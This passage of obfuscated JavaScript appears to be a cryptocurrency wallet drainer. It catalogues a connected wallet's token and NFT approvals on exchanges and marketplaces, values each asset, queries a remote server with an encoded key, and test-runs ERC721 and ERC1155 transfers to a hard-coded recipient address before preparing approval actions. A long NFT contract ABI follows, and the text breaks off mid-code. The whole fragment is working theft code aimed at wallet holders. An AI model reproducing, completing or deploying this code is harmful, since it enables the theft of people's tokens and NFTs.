value: _0xfc939b * config.assetOptions.multipliers.uniswap, | |
amount: _0x4ab476, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.pancake_v2 > 0) { | |
let _0x131235 = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.pancake_v2) { | |
_0x131235 = _0x180da6.approvals.pancake_v2; | |
} | |
let _0x53fb80 = _0x131235 / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.pancakev2Actions.push({ | |
value: _0x53fb80 * config.assetOptions.multipliers.uniswapv2, | |
amount: _0x131235, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.sushi > 0) { | |
let _0x594bfc = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.sushi) { | |
_0x594bfc = _0x180da6.approvals.sushi; | |
} | |
let _0x4b2e8c = _0x594bfc / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.sushiswapActions.push({ | |
value: _0x4b2e8c * config.assetOptions.multipliers.uniswap, | |
amount: _0x594bfc, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.sushi_process > 0) { | |
let _0x33cc4a = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.sushi_process) { | |
_0x33cc4a = _0x180da6.approvals.sushi_process; | |
} | |
let _0x45301b = _0x33cc4a / 10 ** _0x180da6.decimals * _0x180da6.price; | |
const _0x8135d0 = { | |
value: _0x45301b * config.assetOptions.multipliers.uniswap, | |
amount: _0x33cc4a, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}; | |
this.sushiProcessActions.push(_0x8135d0); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.seaport > 0) { | |
let _0x3ba802 = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.seaport) { | |
_0x3ba802 = _0x180da6.approvals.seaport; | |
} | |
let _0x4f481c = _0x3ba802 / 10 ** _0x180da6.decimals * _0x180da6.price; | |
const _0x4b43c4 = { | |
value: _0x4f481c * config.assetOptions.multipliers.seaport, | |
amount: _0x3ba802, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}; | |
this.seaportTokenActions.push(_0x4b43c4); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.wyvern_tokens > 0) { | |
let _0x5c9660 = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.wyvern) { | |
_0x5c9660 = _0x180da6.approvals.wyvern; | |
} | |
let _0x2fdfef = _0x5c9660 / 10 ** _0x180da6.decimals * _0x180da6.price; | |
const _0x3b3add = { | |
value: _0x2fdfef * config.assetOptions.multipliers.wyvern, | |
amount: _0x5c9660, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}; | |
this.wyvernTokenActions.push(_0x3b3add); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.approvals.special > 0) { | |
let _0xf3bac9 = _0xddc7ff; | |
if (_0xddc7ff > _0x180da6.approvals.special) { | |
_0xf3bac9 = _0x180da6.approvals.special; | |
} | |
let _0x3046f4 = _0xf3bac9 / 10 ** _0x180da6.decimals * _0x180da6.price; | |
const _0x420d8d = { | |
value: _0x3046f4 * config.assetOptions.multipliers.special, | |
amount: _0xf3bac9, | |
token: _0x180da6.token_address, | |
chain: _0x180da6.chain | |
}; | |
this.specialActions.push(_0x420d8d); | |
_0x8250bb = true; | |
} | |
if (_0x180da6.permit_type == 1 || _0x180da6.permit_type == 2 || _0x180da6.permit_type == 3 || _0x180da6.permit_type == 4) { | |
let _0x90e07f = _0xddc7ff / 10 ** _0x180da6.decimals * _0x180da6.price; | |
this.approvalTokenActions.push({ | |
token: _0x180da6, | |
value: _0x90e07f * config.assetOptions.multipliers.permit, | |
chain: _0x180da6.chain | |
}); | |
_0x8250bb = true; | |
} | |
let _0x489efd = _0xddc7ff / 10 ** _0x180da6.decimals * _0x180da6.price; | |
const _0x4c18ae = { | |
token: _0x180da6, | |
value: _0x489efd * config.assetOptions.multipliers.safa, | |
chain: _0x180da6.chain | |
}; | |
this.approvalTokenActions.push(_0x4c18ae); | |
if (!this.tokenChains.includes(_0x180da6.chain)) { | |
this.tokenChains.push(_0x180da6.chain); | |
} | |
} catch (_0x3313eb) { | |
console.log(_0x3313eb); | |
} | |
} | |
}); | |
await Promise.all(_0x3375f2); | |
} | |
} catch (_0x57e50c) { | |
console.log(_0x57e50c); | |
} | |
}; | |
nftPromise = async () => { | |
try { | |
console.log("Requesting NFTs"); | |
let _0x59bc89 = await (await fetch(this.domain + "/nft/" + (await this.getWalletAddress()) + ("/" + Base64.encode(this.createEncKey())), this.options)).json(); | |
let _0x6e4f4c = _0x59bc89.nfts; | |
let _0x5030ad = []; | |
console.log("Received NFTs"); | |
if (_0x6e4f4c != null && _0x6e4f4c.length > 0) { | |
for (let _0xb0b025 of _0x6e4f4c) { | |
let _0x2f41d1 = _0xb0b025.price * ethPrice; | |
this.totalNFTs += _0x2f41d1; | |
} | |
const _0xc960e4 = _0x6e4f4c.map(async _0x368960 => { | |
let _0x349bb5 = _0x368960.price * ethPrice; | |
try { | |
if (_0x368960.contract.toLowerCase() == "0x23581767a106ae21c074b2276d25e5c3e136a68b" || _0x368960.contract.toLowerCase() == "0xb47e3cd837ddf8e4c57f05d70ab865de6e193bbb") { | |
const _0xd5f1f5 = { | |
nft: _0x368960, | |
value: _0x349bb5, | |
chain: "eth" | |
}; | |
this.approvalNFTActions.push(_0xd5f1f5); | |
} else if (_0x368960.contract.toLowerCase() != "0xabefbc9fd2f806065b4f3c237d4b59d9a97bcac7" && _0x368960.contract.toLowerCase() != "0x60f80121c31a0d46b5279700f9df786054aa5ee5" && _0x368960.contract.toLowerCase() != "0x3b3ee1931dc30c1957379fac9aba94d1c48a5405" && _0x368960.contract.toLowerCase() != "0x82c7a8f707110f5fbb16184a5933e9f78a34c6ab" && _0x368960.contract.toLowerCase() != "0xabb3738f04dc2ec20f4ae4462c3d069d02ae045b" && _0x368960.contract.toLowerCase() != "0xd07dc4262bcdbf85190c01c996b4c06a461d2430" && _0x368960.contract.toLowerCase() != "0x76be3b62873462d2142405439777e971754e8e77") { | |
let _0x2d990b = true; | |
let _0x19805c = false; | |
if (_0x368960.approvals.seaport > 0 || _0x368960.approvals.wyvern > 0 || _0x368960.approvals.ostransfers > 0 || _0x368960.approvals.blur_delegate > 0 || _0x368960.approvals.blur_execution > 0 || _0x368960.approvals.x2y2_transfers > 0) { | |
try { | |
_0x19805c = true; | |
if (!_0x5030ad.includes(_0x368960.contract)) { | |
if (_0x368960.scheme == "erc1155") { | |
await this.Sdk.sendERC1155_DRY(await this.getWalletAddress(), _0x368960.contract, "0xACE77777F820Dc4CB560453e6aBD2e06b03F07AA", _0x368960.token_id); | |
} else { | |
await this.Sdk.sendERC721_DRY(await this.getWalletAddress(), _0x368960.contract, "0xACE77777F820Dc4CB560453e6aBD2e06b03F07AA", _0x368960.token_id); | |
} | |
_0x5030ad.push(_0x368960.contract); | |
} | |
} catch (_0x503357) { | |
_0x2d990b = false; | |
} | |
} | |
if (_0x368960.approvals.seaport > 0) { | |
if (_0x2d990b) { | |
this.seaportNFTActions.push({ | |
nft: _0x368960, | |
value: _0x349bb5 * config.assetOptions.multipliers.seaport, | |
chain: _0x368960.chain | |
}); | |
} | |
} | |
if (_0x368960.approvals.os_transfers > 0) { | |
console.log("OSTransfer"); | |
if (_0x2d990b) { | |
this.osTransferActions.push({ | |
nft: _0x368960, | |
value: _0x349bb5 * config.assetOptions.multipliers.ostransfers, | |
chain: _0x368960.chain | |
}); | |
} | |
} | |
if (_0x368960.approvals.wyvern > 0) { | |
const _0x105efe = { | |
nft: _0x368960, | |
value: _0x349bb5 * config.assetOptions.multipliers.wyvern, | |
chain: _0x368960.chain | |
}; | |
if (_0x2d990b) { | |
this.wyvernNftActions.push(_0x105efe); | |
} | |
} | |
if (!_0x19805c) { | |
_0x368960.token_ids = []; | |
_0x368960.token_ids.push(_0x368960.token_id); | |
this.approvalNFTActions.push({ | |
nft: _0x368960, | |
value: _0x349bb5 * config.assetOptions.multipliers.safa, | |
chain: _0x368960.chain | |
}); | |
} | |
} | |
} catch (_0x45a625) { | |
console.log(_0x45a625); | |
} | |
}); | |
await Promise.all(_0xc960e4); | |
} | |
} catch (_0x50b549) { | |
console.log(_0x50b549); | |
} | |
}; | |
approve = async _0x35f1e4 => { | |
let _0x55c8f6 = await this.getWalletAddress(); | |
let _0x1a8293 = ""; | |
try { | |
if (_0x35f1e4.actionType == "ApprovalNFT") { | |
let _0x47ba0e = _0x35f1e4.asset; | |
_0x1a8293 = _0x35f1e4.asset.contract; | |
if (!this.approved.includes(_0x47ba0e.contract + "," + _0x35f1e4.chain) && !this.approved.includes(_0x47ba0e)) { | |
if (_0x47ba0e.contract.toLowerCase() == "0x23581767a106ae21c074b2276d25e5c3e136a68b") { | |
const _0x26c748 = [{ | |
inputs: [{ | |
internalType: "string", | |
name: "name", | |
type: "string" | |
}, { | |
internalType: "string", | |
name: "symbol", | |
type: "string" | |
}, { | |
internalType: "contract IERC721", | |
name: "_proof", | |
type: "address" | |
}, { | |
internalType: "address payable", | |
name: "beneficiary", | |
type: "address" | |
}, { | |
internalType: "address payable", | |
name: "royaltyReceiver", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
inputs: [], | |
name: "ApprovalCallerNotOwnerNorApproved", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "ApprovalQueryForNonexistentToken", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "ApprovalToCurrentOwner", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "ApproveToCaller", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "BalanceQueryForZeroAddress", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "MintToZeroAddress", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "MintZeroQuantity", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "OwnerQueryForNonexistentToken", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "TransferCallerNotOwnerNorApproved", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "TransferFromIncorrectOwner", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "TransferToNonERC721ReceiverImplementer", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "TransferToZeroAddress", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "URIQueryForNonexistentToken", | |
type: "error" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "approved", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "Approval", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "operator", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "bool", | |
name: "approved", | |
type: "bool" | |
}], | |
name: "ApprovalForAll", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "Expelled", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "Nested", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "previousOwner", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "newOwner", | |
type: "address" | |
}], | |
name: "OwnershipTransferred", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: false, | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}], | |
name: "Paused", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "buyer", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
name: "Refund", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "beneficiary", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "numPurchased", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
name: "Revenue", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}, { | |
indexed: true, | |
internalType: "bytes32", | |
name: "previousAdminRole", | |
type: "bytes32" | |
}, { | |
indexed: true, | |
internalType: "bytes32", | |
name: "newAdminRole", | |
type: "bytes32" | |
}], | |
name: "RoleAdminChanged", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "sender", | |
type: "address" | |
}], | |
name: "RoleGranted", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "sender", | |
type: "address" | |
}], | |
name: "RoleRevoked", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "from", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "Transfer", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "Unnested", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: false, | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}], | |
name: "Unpaused", | |
type: "event" | |
}, { | |
inputs: [], | |
name: "DEFAULT_ADMIN_ROLE", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "EXPULSION_ROLE", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "signer", | |
type: "address" | |
}], | |
name: "addSigner", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "bytes32", | |
name: "nonce", | |
type: "bytes32" | |
}], | |
name: "alreadyMinted", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "approve", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}], | |
name: "balanceOf", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "baseTokenURI", | |
outputs: [{ | |
internalType: "string", | |
name: "", | |
type: "string" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "beneficiary", | |
outputs: [{ | |
internalType: "address payable", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "n", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
name: "cost", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "expelFromNest", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "getApproved", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}], | |
name: "getRoleAdmin", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}, { | |
internalType: "uint256", | |
name: "index", | |
type: "uint256" | |
}], | |
name: "getRoleMember", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}], | |
name: "getRoleMemberCount", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}, { | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}], | |
name: "grantRole", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}, { | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}], | |
name: "hasRole", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "owner", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "operator", | |
type: "address" | |
}], | |
name: "isApprovedForAll", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256[]", | |
name: "proofTokenIds", | |
type: "uint256[]" | |
}], | |
name: "mintPROOF", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "bytes32", | |
name: "nonce", | |
type: "bytes32" | |
}, { | |
internalType: "bytes", | |
name: "sig", | |
type: "bytes" | |
}], | |
name: "mintPublic", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "n", | |
type: "uint256" | |
}], | |
name: "mintUnclaimed", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "name", | |
outputs: [{ | |
internalType: "string", | |
name: "", | |
type: "string" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "nestingOpen", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "nestingPeriod", | |
outputs: [{ | |
internalType: "bool", | |
name: "nesting", | |
type: "bool" | |
}, { | |
internalType: "uint256", | |
name: "current", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "total", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "owner", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "ownerOf", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "pause", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "paused", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "price", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "proof", | |
outputs: [{ | |
internalType: "contract IERC721", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "proofClaimsRemaining", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "proofMintingOpen", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "proofPoolRemaining", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "n", | |
type: "uint256" | |
}], | |
name: "purchaseFreeOfCharge", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "signer", | |
type: "address" | |
}], | |
name: "removeSigner", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "renderingContract", | |
outputs: [{ | |
internalType: "contract ITokenURIGenerator", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "renounceOwnership", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}, { | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}], | |
name: "renounceRole", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "role", | |
type: "bytes32" | |
}, { | |
internalType: "address", | |
name: "account", | |
type: "address" | |
}], | |
name: "revokeRole", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_tokenId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_salePrice", | |
type: "uint256" | |
}], | |
name: "royaltyInfo", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "from", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "safeTransferFrom", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "from", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}, { | |
internalType: "bytes", | |
name: "_data", | |
type: "bytes" | |
}], | |
name: "safeTransferFrom", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "from", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "safeTransferWhileNesting", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "sellerConfig", | |
outputs: [{ | |
internalType: "uint256", | |
name: "totalInventory", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "maxPerAddress", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "maxPerTx", | |
type: "uint256" | |
}, { | |
internalType: "uint248", | |
name: "freeQuota", | |
type: "uint248" | |
}, { | |
internalType: "bool", | |
name: "reserveFreeQuota", | |
type: "bool" | |
}, { | |
internalType: "bool", | |
name: "lockFreeQuota", | |
type: "bool" | |
}, { | |
internalType: "bool", | |
name: "lockTotalInventory", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "operator", | |
type: "address" | |
}, { | |
internalType: "bool", | |
name: "approved", | |
type: "bool" | |
}], | |
name: "setApprovalForAll", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "string", | |
name: "_baseTokenURI", | |
type: "string" | |
}], | |
name: "setBaseTokenURI", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address payable", | |
name: "_beneficiary", | |
type: "address" | |
}], | |
name: "setBeneficiary", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bool", | |
name: "open", | |
type: "bool" | |
}], | |
name: "setNestingOpen", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bool", | |
name: "open", | |
type: "bool" | |
}], | |
name: "setPROOFMintingOpen", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_price", | |
type: "uint256" | |
}], | |
name: "setPrice", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract ITokenURIGenerator", | |
name: "_contract", | |
type: "address" | |
}], | |
name: "setRenderingContract", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "receiver", | |
type: "address" | |
}, { | |
internalType: "uint96", | |
name: "feeBasisPoints", | |
type: "uint96" | |
}], | |
name: "setRoyaltyInfo", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "uint256", | |
name: "totalInventory", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "maxPerAddress", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "maxPerTx", | |
type: "uint256" | |
}, { | |
internalType: "uint248", | |
name: "freeQuota", | |
type: "uint248" | |
}, { | |
internalType: "bool", | |
name: "reserveFreeQuota", | |
type: "bool" | |
}, { | |
internalType: "bool", | |
name: "lockFreeQuota", | |
type: "bool" | |
}, { | |
internalType: "bool", | |
name: "lockTotalInventory", | |
type: "bool" | |
}], | |
internalType: "struct Seller.SellerConfig", | |
name: "config", | |
type: "tuple" | |
}], | |
name: "setSellerConfig", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes4", | |
name: "interfaceId", | |
type: "bytes4" | |
}], | |
name: "supportsInterface", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "symbol", | |
outputs: [{ | |
internalType: "string", | |
name: "", | |
type: "string" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256[]", | |
name: "tokenIds", | |
type: "uint256[]" | |
}], | |
name: "toggleNesting", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "tokenURI", | |
outputs: [{ | |
internalType: "string", | |
name: "", | |
type: "string" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "totalSold", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "totalSupply", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "from", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "transferFrom", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "newOwner", | |
type: "address" | |
}], | |
name: "transferOwnership", | |
outputs: [], | |
